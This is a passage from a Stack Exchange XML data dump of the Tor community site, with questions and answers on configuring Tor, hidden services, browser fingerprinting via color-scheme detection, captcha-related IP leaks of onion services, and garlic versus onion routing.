(&lt;a href=&quot;https://github.com/keepassxreboot/keepassxc-browser/tree/develop/keepassxc-browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/keepassxreboot/keepassxc-browser/tree/develop/keepassxc-browser&lt;/a&gt;). Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-22T12:51:43.007" LastActivityDate="2021-03-22T12:51:43.007" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22154" PostTypeId="2" ParentId="22149" CreationDate="2021-03-16T02:57:24.913" Score="0" Body="&lt;p&gt;If the site is using plain HTTP (not HTTPS), accessing the site through the hidden service increases privacy.  An exit node can see all cleartext traffic that goes through it, as can anyone between the exit node and the site you're visiting.  By using the hidden-service version of the site, the traffic remains encrypted the whole way.&lt;/p&gt;&#xA;" OwnerUserId="6759" LastActivityDate="2021-03-16T02:57:24.913" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22155" PostTypeId="2" ParentId="21767" CreationDate="2021-03-17T04:24:08.120" Score="0" Body="&lt;p&gt;&lt;strong&gt;You need to have tor browser running before hand&lt;/strong&gt; .&lt;/p&gt;&#xA;&lt;p&gt;This will connect via tor and load your profile so that google,FB etc opens with you already logged in. This is working as of today on win7 64 bit.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;from selenium import webdriver&#xA;from selenium.webdriver.firefox.firefox_profile import FirefoxProfile&#xA;from selenium.webdriver.firefox.firefox_binary import FirefoxBinary&#xA;from selenium.webdriver.firefox.firefox_profile import FirefoxProfile&#xA;binary = FirefoxBinary(&amp;quot;C:\\Program Files\\Mozilla Firefox\\firefox.exe&amp;quot;)&#xA;profile = FirefoxProfile(&amp;quot;C:\\Users\\user\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\ogwfse3l.default-release&amp;quot;)&#xA;profile.set_preference('network.proxy.type', 1)&#xA;profile.set_preference('network.proxy.socks', '127.0.0.1')&#xA;profile.set_preference('network.proxy.socks_port', 9150)&#xA;driver = webdriver.Firefox(firefox_profile=profile, firefox_binary=binary, executable_path=&amp;quot;C:\\geckodriver.exe&amp;quot;)&#xA;driver.maximize_window()&#xA;driver.get('https://www.gmail.com')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31304" LastActivityDate="2021-03-17T04:24:08.120" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22156" PostTypeId="1" CreationDate="2021-03-17T15:09:25.527" Score="0" ViewCount="978" Body="&lt;p&gt;My ISP don't block tor.So last weeks I have problem to connect tor browser. I have a raspberry pi that run tor. The below web page show my setup.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://pimylifeup.com/raspberry-pi-tor-access-point/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pimylifeup.com/raspberry-pi-tor-access-point/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then raspberry takes internet over wifi from router then connect over wifi to my laptop. I use this setup over 2 years and WORKS PERFECT, but 3 last weeks I have this error message when connect tor browser.&lt;/p&gt;&#xA;&lt;p&gt;[WARN] Problem bootstrapping. Stuck at 10% (conn_done): Connected to a relay. (TLS_ERROR; TLS_ERROR; count 10; recommendation warn; host 42949C1EC1FEC5E30197E269FE7850CCA2FD0C0D at 51.75.54.88:443)&lt;/p&gt;&#xA;&lt;p&gt;I tried to block above IP but the problem stills continue with other ip. The very strange is that sometimes it works with the above ip, and sometimes show the above problem the same ip. This problem stills with other ip.&lt;/p&gt;&#xA;&lt;p&gt;I think the problem is Common log error #3: Failed to complete TLS handshake from this page:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.torproject.org/connecting/connecting-2/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/connecting/connecting-2/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but if I open via ssh terminal from my linux machine to raspberry and I run sudo -u debian-tor nyx and inside nyx press one or two times &amp;quot;n&amp;quot; change identify then tor-browser works.&lt;/p&gt;&#xA;&lt;p&gt;When I connect from my linux OS directly from my REAL IP (without I use rasbperry pi) to tor browser , everything is perfect. I don't use firewall.&lt;/p&gt;&#xA;&lt;p&gt;Thank you very much.....&lt;/p&gt;&#xA;" OwnerDisplayName="user31964" LastActivityDate="2021-03-18T16:15:51.417" Title="How do I solve problem bootstrapping Tor Browser with raspberry" Tags="|tor-browser-bundle|raspberry-pi|raspbian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22157" PostTypeId="2" ParentId="22156" CreationDate="2021-03-18T16:15:51.417" Score="1" Body="&lt;p&gt;I think it is:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Re-entry into the network is now denied at the Exit level to all relays' ORPorts and authorities' ORPorts and DirPorts. This change should help mitgate a set of denial-of-service attacks. Closes ticket &lt;a href=&quot;https://gitlab.torproject.org/tpo/core/tor/-/issues/2667&quot; rel=&quot;nofollow noreferrer&quot;&gt;2667&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;New &amp;quot;feature&amp;quot; in tor disallows Tor over Tor. Whether the &amp;quot;feature&amp;quot; works depends on if the specific exit operator you are using has updated to a new version of tor. Therefore you may see it work sometimes, while not other times.&lt;/p&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-03-18T16:15:51.417" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="22160" PostTypeId="1" AcceptedAnswerId="22172" CreationDate="2021-03-19T11:56:52.273" Score="0" ViewCount="319" Body="&lt;p&gt;I heard that the server location of the Silk Road hidden service was caught by employing an IP leak caused by a Captcha prompt on the site's login page. That got me a little confused. Aren't captchas used to prevent bots and attackers from taking down or harming websites? How could a captcha leak an IP address and be used to track a hidden service's server location? Could a similar method be implimented for other hidden services' captchas or was this just specific to the Silk Road hidden service? (I don't mean just illegal hidden services, just any hidden service in general).&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-19T12:06:58.293" LastActivityDate="2021-03-21T22:08:25.943" Title="Can captchas expose hidden services? And how?" Tags="|onion-services|deanonymization|captcha|research|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22161" PostTypeId="1" AcceptedAnswerId="22162" CreationDate="2021-03-19T12:54:09.707" Score="1" ViewCount="129" Body="&lt;p&gt;I'm still learning about hidden services and I was wondering if hidden service domains could be on sale. I've seen websites on the clearnet such as &lt;a href=&quot;http://thisdomainisforsale.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://thisdomainisforsale.com/&lt;/a&gt;, that are selling their domain. So can hidden service owners sell their domain too? If so, would the payment be in cryptocurrency such as Bitcoin or Monero? And has this ever been done before?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-19T14:07:05.833" LastActivityDate="2022-05-12T21:40:44.650" Title="Can hidden service owners sell their domain?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22162" PostTypeId="2" ParentId="22161" CreationDate="2021-03-19T13:50:36.590" Score="2" Body="&lt;p&gt;Theoretically yes.&lt;/p&gt;&#xA;&lt;p&gt;However selling an onion service domain means selling the private key, as such the seller has to know the private key. Having the private key means you can be the onion service and decrypt any messages encrypted with the public key, and so any buyer would have to trust the seller to not keep the private key and impersonate or otherwise use it.&lt;/p&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-03-19T13:50:36.590" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22165" PostTypeId="2" ParentId="21139" CreationDate="2021-03-20T20:42:38.883" Score="0" Body="&lt;p&gt;Can you add few lines of code as an example cause I follow the instructions of the buildback but does not work with the following code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;PROXY = &amp;quot;socks5://mysite.com:9050&amp;quot;# IP:PORT or HOST:PORT&#xA;CHROMEDRIVER_PATH = &amp;quot;/app/.chromedriver/bin/chromedriver&amp;quot;&#xA;chrome_bin =os.environ.get('GOOGLE_CHROME_SHIM', None)&#xA;&#xA;options = webdriver.ChromeOptions()&#xA;options.binary_location = chrome_bin&#xA;options.add_argument(&amp;quot; — disable-gpu&amp;quot;)&#xA;options.add_argument(&amp;quot; — no-sandbox&amp;quot;)&#xA;options.add_argument('--disable-dev-shm-usage') &#xA;&#xA;options.add_argument('--remote-debugging-port=9222')&#xA;options.add_argument('--disable-infobars')&#xA;&#xA;options.add_argument('--proxy-server=%s' % PROXY)&#xA;&#xA;try:&#xA;&#xA;    driver = webdriver.Chrome(executable_path=&amp;quot;chromedriver&amp;quot;, chrome_options=options)&#xA;    driver.get(&amp;quot;http://check.torproject.org&amp;quot;)&#xA;    print ('opening ')&#xA;except Exception as e:&#xA;    print (str(e))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31998" LastActivityDate="2021-03-20T20:42:38.883" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22166" PostTypeId="1" CreationDate="2021-03-21T04:50:34.960" Score="0" ViewCount="1226" Body="&lt;p&gt;&lt;strong&gt;Tor browser's default theme uses os's color scheme.&lt;/strong&gt; Just like firefox. If os is set to dark grey colors lets say, tor uses the same palette. If os  is set to shades of black, tor uses the same palette of shades of black. If os white, pale yellow, whatever, tor browser uses the same colors.&lt;/p&gt;&#xA;&lt;p&gt;So i am asking: Is this something new (like less than a year old) and tor browser used to not do it but now it does and it's fine? or not?(i didn't find anything that answers this question)&#xA;Can this affect privacy,anonymity etc?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Could a script/program/something in a website see what colors are used and use this information for fingerprinting?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If this is possible without javascript (it is possible with javascript in general (i don't know if the tor browser has any specific configuration that would prevent javascript see that kind of things even if it was enabled)) would it be better to use tor browser's (firefox's) pre-installed dark/light theme (dark theme as more people would have enabled it), or modify some setting in the tor browser or the os (i don't think i would be better, just asking)?&lt;/p&gt;&#xA;&lt;p&gt;I mean, a script/program/something in a website can possibly see dark theme/light theme is enabled (like check the values default/dark/light) and therefore use this information for fingerprinting. That's why it is advised to not enable themes other than the default. &lt;strong&gt;But&lt;/strong&gt; if in the default theme the tor browser is using the os's color scheme could a script/program/something in the website see some kind of information and use this for fingerprinting?   (and I acknowledge that &lt;em&gt;possibly&lt;/em&gt; a lot of things can be done, just, what are your thoughts on this?)&lt;/p&gt;&#xA;" OwnerUserId="32000" LastActivityDate="2021-03-21T23:08:44.553" Title="Tor browser's default theme uses os's color scheme. Is it fine? Can this be used for fingerprinting?" Tags="|tor-browser-bundle|configuration|deanonymization|fingerprinting|settings|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22167" PostTypeId="1" CreationDate="2021-03-21T06:29:05.310" Score="0" ViewCount="98" Body="&lt;p&gt;How can I create two or more hidden services with one instance of Tor? Is the following correct or do they need different ports?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;HiddenServiceDir /var/www/tor/test1/&#xA;HiddenServicePort 80 127.0.0.1:44403&#xA;HiddenServiceDir /var/www/tor/test2/&#xA;HiddenServicePort 80 127.0.0.1:44403&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Where test1 and test2 are different websites with different (.onion) host names.&lt;/p&gt;&#xA;" OwnerUserId="32001" LastEditorUserId="24966" LastEditDate="2021-03-21T21:15:41.307" LastActivityDate="2021-12-16T23:03:35.330" Title="Multiple Hidden Services?" Tags="|tor-button|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22168" PostTypeId="2" ParentId="22166" CreationDate="2021-03-21T18:12:19.947" Score="1" Body="&lt;p&gt;No, even if the user is using dark mode, light mode, or some other theme (system theme or app theme), this cannot be used to fingerprint the user if they are using the Tor browser. Detecting dark mode or light mode does not even work with the Tor browser. This does not affect the user's anonymity, privacy, or security in any way.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Normally you can use CSS, JavaScript, or HTML to detect if the user has a light theme or dark theme. I didn't fiind any code on how to detect a custom theme if that is even possible. This is the CSS that can be used:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;@media (prefers-color-scheme: light) {&#xA;  // light mode&#xA;}&#xA;@media (prefers-color-scheme: dark) {&#xA;  // dark mode&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or this is the JavaScript that can be used (I've found different code online, but they all rely on &lt;code&gt;window.matchMedia&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;if (window.matchMedia &amp;amp;&amp;amp; window.matchMedia('(prefers-color-scheme: dark)').matches) {&#xA;    // dark mode&#xA;}&#xA;&#xA;else if (window.matchMedia &amp;amp;&amp;amp; window.matchMedia('(prefers-color-scheme: light)').matches) {&#xA;    // light mode&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;or this is the HTML that can be used (buttons and other HTML content will be what the color scheme is):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&amp;quot;color-scheme&amp;quot; content=&amp;quot;dark light&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I created a JsFiddle to demo this (&lt;a href=&quot;https://jsfiddle.net/pky84faj/4/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://jsfiddle.net/pky84faj/4/&lt;/a&gt;). It correctly detects the user's theme on conventional browsers (Google Chrome, Firefox, etc.). However, with the Tor browser, it always returns &amp;quot;light mode&amp;quot; even if I have dark mode enabled. You can test it out yourself with the JsFiddle (if you get different results, tell me).&lt;/p&gt;&#xA;&lt;p&gt;Also, your statement here:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I mean, a script/program/something in a website can possibly see dark theme/light theme is enabled (like check the values default/dark/light) and therefore use this information for fingerprinting. That's why it is advised to not enable themes other than the default.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;won't hold true for the Tor browser because as you can see, you can't detect the user's theme if they use the Tor browser.&lt;/p&gt;&#xA;&lt;p&gt;You can see that in the Tor browser design and inmplementation, this fingrprinting method has been blocked:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Uwu6K.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Uwu6K.png&quot; alt=&quot;Click to view the image&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Also, the Tor browser protects CSS prefers-color-scheme through &lt;code&gt;privacy.resistFingerprinting&lt;/code&gt; so that it always returns that the user is using light theme.&lt;/p&gt;&#xA;&lt;p&gt;Resources:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://css-tricks.com/a-complete-guide-to-dark-mode-on-the-web/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://css-tricks.com/a-complete-guide-to-dark-mode-on-the-web/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://2019.www.torproject.org/projects/torbrowser/design/#fingerprinting-defenses&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://2019.www.torproject.org/projects/torbrowser/design/#fingerprinting-defenses&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-21T23:08:44.553" LastActivityDate="2021-03-21T23:08:44.553" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22169" PostTypeId="1" CreationDate="2021-03-21T20:55:30.837" Score="0" ViewCount="131" Body="&lt;p&gt;If using Tor and NOT Tor Browser Bundle, do you need to encrypt your dns or is setting your DNS on router to Cloudflare DNS sufficient?&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;wanting to obfuscate all DNS from view of ISP&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="32001" LastActivityDate="2021-03-21T20:55:30.837" Title="Encrypted DNS without Tor Browser Bundle" Tags="|configuration|anonymity|security|network-configuration|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="22170" PostTypeId="2" ParentId="22167" CreationDate="2021-03-21T21:17:47.757" Score="0" Body="&lt;p&gt;Yes this will work. With your configuration, you'll have two onion domains that send traffic on port 80 to the same web server (&lt;code&gt;127.0.0.1:44403&lt;/code&gt;), so they'll both display the same contents.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-03-21T21:17:47.757" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22171" PostTypeId="2" ParentId="22140" CreationDate="2021-03-21T21:47:58.793" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;How could this be achieved? Should I then write my own proxy server? For example, it would accept traffic with some additional header (the destination header), unpack it and send it to the destination, and then, on request reception it would route the traffic back to the tor network.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is what a SOCKS proxy does, there's no need to write it yourself. Just run a SOCKS proxy and connect to it through Tor. Be careful about running publicly available SOCKS proxy servers though since they may be abused by others.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$ torsocks curl -x socks5h://publicsocksip:8001 https://www.google.com/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-03-21T21:47:58.793" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22172" PostTypeId="2" ParentId="22160" CreationDate="2021-03-21T22:08:25.943" Score="1" Body="&lt;p&gt;It's not clear if that story is true or not:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://krebsonsecurity.com/2014/09/dread-pirate-sunk-by-leaky-captcha/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://krebsonsecurity.com/2014/09/dread-pirate-sunk-by-leaky-captcha/&lt;/a&gt;&lt;br /&gt;&#xA;&lt;a href=&quot;https://krebsonsecurity.com/2014/10/silk-road-lawyers-poke-holes-in-fbis-story/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://krebsonsecurity.com/2014/10/silk-road-lawyers-poke-holes-in-fbis-story/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But generally, your onion service can directly leak personal information in two ways:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Onion service connects to a third-party server without connecting through Tor. For example reCAPTCHA requires the service itself to connect to reCAPTCHA to verify that the user completed the verification correctly, which the service must make sure to route through Tor or else the reCAPTCHA server will learn the IP address of the onion service.&lt;/li&gt;&#xA;&lt;li&gt;The server software on your onion service may also add personally-identifying information in its responses to user requests, leaking service information to the user. For example, if the server software (or some library/package that the server was using) added its public IP address to a user response.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This is why it's a bad idea to use server software or libraries in your onion service without thoroughly vetting them first. For more information see &lt;a href=&quot;https://riseup.net/en/security/network-security/tor/onionservices-best-practices#leaking-the-real-server&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://riseup.net/en/security/network-security/tor/onionservices-best-practices#be-careful-of-localhost-bypasses&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-03-21T22:08:25.943" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22173" PostTypeId="1" AcceptedAnswerId="22181" CreationDate="2021-03-21T23:03:04.803" Score="0" ViewCount="179" Body="&lt;p&gt;When starting up the Tor browser, I got a message saying:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CnA63.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CnA63.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;That wasn't an issue, I've gotten this message before and I just have to close Tor browser and open it up again and it would fix. However, when I went to &lt;a href=&quot;https://check.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://check.torproject.org&lt;/a&gt; to confirm that Tor wasn't working, I got this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/to7Bz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/to7Bz.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;which really confused me. So either the browser was giving the false message or the website was giving the false message though I strongly suspected it was the browser. I also checked if I could access a hidden service and I could:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/amsfR.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/amsfR.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;From this I understood that the Tor browser was giving an incorrect message and that Tor was working. I was even able to see my circuit when reaching Facebook's onion service:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NtrQf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NtrQf.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;So I was certain that Tor was working by now. With this information, I have a few questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Do I report this bug to the Tor project's Gitlab or has this already been reported and is being fixed?&lt;/li&gt;&#xA;&lt;li&gt;If possible to answer, why is this even happening?&lt;/li&gt;&#xA;&lt;li&gt;Can I change the Tor browser manually to fix this?&lt;/li&gt;&#xA;&lt;li&gt;Any other information on this would be helpful so I could understand the problem better.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;When this bug occured, I was using Windows 10 OS instead of Linux (I usually use Linux, but I didn't use it at the moment). If you guys need anymore information about my device, just comment below and I will edit this post to add the information. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-22T17:59:35.207" LastActivityDate="2021-03-22T20:00:22.160" Title="Strange Tor browser bug" Tags="|tor-browser-bundle|connection|tor-network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22177" PostTypeId="2" ParentId="20939" CreationDate="2021-03-22T11:47:58.377" Score="0" Body="&lt;p&gt;Tor is only as secure as your OS is. That's why Windows users of Tor are usually targets for hacking. Windows is not as secure as linux or MacOS and thus is more vulnerable.&lt;/p&gt;&#xA;&lt;p&gt;Since your OSX is outdated, you are more vulnerable to hacking since newer security patches haven't been added. Everytime your OS is updated, new bugs are patched and issues are resolved. Tor will have all its security patches to protect you, but if your system has security holes, then you are still susceptible to malware and hacking.&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-21T12:30:43.457" LastActivityDate="2021-04-21T12:30:43.457" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22178" PostTypeId="1" AcceptedAnswerId="22179" CreationDate="2021-03-22T13:25:14.130" Score="2" ViewCount="1588" Body="&lt;p&gt;Tor uses onion routing while I2P uses garlic routing. What exactly is garlic routing and how is it different from onion routing?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-22T17:17:11.167" LastActivityDate="2021-03-23T15:22:30.333" Title="Q &amp; A: What is garlic routing and how is it different from onion routing?" Tags="|onion-routing|i2p|tor-network|garlic-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22179" PostTypeId="2" ParentId="22178" CreationDate="2021-03-22T14:04:25.633" Score="2" Body="&lt;p&gt;Garlic Routing is a variant of Onion Routing which I2P (Invisible Internet Project) uses. The fundamentals of garlic routing and garlic encryption were developed by Michael Freedman and were improved and implemented by the developers of the I2P project. It encrypts multiple messages together to make it harder for attackers to analyze traffic. To protect the identity of the sender, messages are encrypted several times with the public keys of selected nodes on the network. To be given, the secure packets must be received by routers selected by the sender, in the order provided by the sender. &lt;strong&gt;Unlike onion routing, an encrypted packet can contain multiple packets (garlic cloves) with different destinations, and the sender is not required to specify a return path for the message.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r8sK3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r8sK3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image source: &lt;a href=&quot;https://www.slideshare.net/devil_15/overlay-networks&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.slideshare.net/devil_15/overlay-networks&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/a5ahJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/a5ahJ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image source: &lt;a href=&quot;https://www.hindawi.com/journals/scn/2019/9078176/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hindawi.com/journals/scn/2019/9078176/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZgGXA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZgGXA.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image source: &lt;a href=&quot;https://geti2p.net/en/docs/how/garlic-routing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://geti2p.net/en/docs/how/garlic-routing&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Additional resources to understand Garlic Routing:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://geti2p.net/en/docs/how/garlic-routing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://geti2p.net/en/docs/how/garlic-routing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.maketecheasier.com/garlic-routing-browse-internet-anonymously/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.maketecheasier.com/garlic-routing-browse-internet-anonymously/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://ddos-guard.net/en/terminology/technology/garlic-routing&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ddos-guard.net/en/terminology/technology/garlic-routing&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-23T15:22:30.333" LastActivityDate="2021-03-23T15:22:30.333" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22180" PostTypeId="1" CreationDate="2021-03-22T19:48:43.053" Score="1" ViewCount="153" Body="&lt;p&gt;Garlic routing is a variant of onion routing which the Invisible Internet Project (I2P) uses. Why doesn't Tor use garlic routing instead of onion routing?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-03-22T22:20:48.047" LastActivityDate="2021-03-22T22:20:48.047" Title="Why doesn't Tor use garlic routing?" Tags="|onion-routing|i2p|tor-network|garlic-routing|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22181" PostTypeId="2" ParentId="22173" CreationDate="2021-03-22T20:00:22.160" Score="0" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Do I report this bug to the Tor project's Gitlab or has this already been reported and is being fixed?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It has been reported before: &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/torbutton/-/issues/23918&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitlab.torproject.org/tpo/applications/torbutton/-/issues/23918&lt;/a&gt;, but you may want to comment on it since it seems dead (I can also do it if you want me to)&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;If possible to answer, why is this even happening?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I don't know. Something in how Tor Browser checks for connectivity went wrong.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Can I change the Tor browser manually to fix this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I don't know what you would need to change, rather I suggest you report it so that it can be fixed for everyone and fixed by people that understand Tor Browser.&lt;/p&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-03-22T20:00:22.160" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
